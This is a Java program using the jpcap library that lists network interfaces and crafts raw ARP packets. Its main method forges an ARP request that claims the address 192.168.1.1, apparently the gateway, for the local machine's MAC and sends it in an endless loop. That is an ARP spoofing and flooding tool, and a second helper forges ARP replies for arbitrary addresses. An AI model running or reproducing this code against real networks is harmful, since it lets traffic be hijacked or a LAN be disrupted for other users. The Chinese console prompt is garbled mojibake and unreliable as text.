/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */package arpcap;
import jpcap.*;
import java.io.IOException;
import jpcap.packet.*;
/**
 *
 * @author Administrator
 */
public class Main {    static ARPPacket initialARP(byte[] targetIP,byte[] localMac,byte[] localIP){
        byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
        ARPPacket arp=new ARPPacket();        arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REQUEST;
arp.hlen=6;
arp.plen=4;
arp.sender_hardaddr=localMac;
arp.sender_protoaddr=localIP;
arp.target_hardaddr=broadcast;
arp.target_protoaddr=targetIP;    EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=localMac;
ether.dst_mac=broadcast;
arp.datalink=ether;
        
        return arp;
    }    static ARPPacket initialREPARP(byte[] targetIP,byte[] targetMac,byte[] localMac,byte[] localIP){
        ARPPacket arp=new ARPPacket();        arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REPLY;
arp.hlen=6;
arp.plen=4;
arp.sender_hardaddr=localMac;
arp.sender_protoaddr=localIP;
arp.target_hardaddr=targetMac;
arp.target_protoaddr=targetIP;    EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=localMac;
ether.dst_mac=targetMac;
arp.datalink=ether;        return arp;
    }
    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        // TODO code application logic here
        NetworkInterface[] devices=JpcapCaptor.getDeviceList();
        for(NetworkInterface device:devices){
            System.out.println(device.name);
            NetworkInterfaceAddress[] addrs=device.addresses;
            for(NetworkInterfaceAddress addr:addrs){
                System.out.println(addr.address);
            }
            String macStr="";
            for(int i=0;i<device.mac_address.length;i++){
                macStr+=Integer.toHexString(device.mac_address[i]& 0xFF);
                if(i<(device.mac_address.length-1)){
                    macStr+="-";
                }
            }
            System.out.println(macStr);
            System.out.println("---------------------------------------------");
        }
        System.out.println("璇烽€夋嫨灏嗚鐩戞帶鐨勭綉缁滈€傞厤鍣細锛堜粠0寮€濮嬭绠楋級");
        try{
            int deviceIndex=System.in.read()-48;
            NetworkInterface device=devices[deviceIndex];
            byte[] localMac=device.mac_address;
            byte[] localIP=device.addresses[0].address.getAddress();
            String targetIPStr="192.168.1.1";
            byte[] targetIP=new byte[4];
            int i=0;
            for(String str:targetIPStr.split("[.]")){
                targetIP[i++]=(byte)(Integer.parseInt(str));
            }
            ARPPacket arp=initialARP(targetIP,localMac,targetIP);
            JpcapSender sender=JpcapSender.openDevice(device);            while(true){
                sender.sendPacket(arp);
            }
        }catch(IOException ex){
            System.out.println(ex.toString());
        }        
    }
}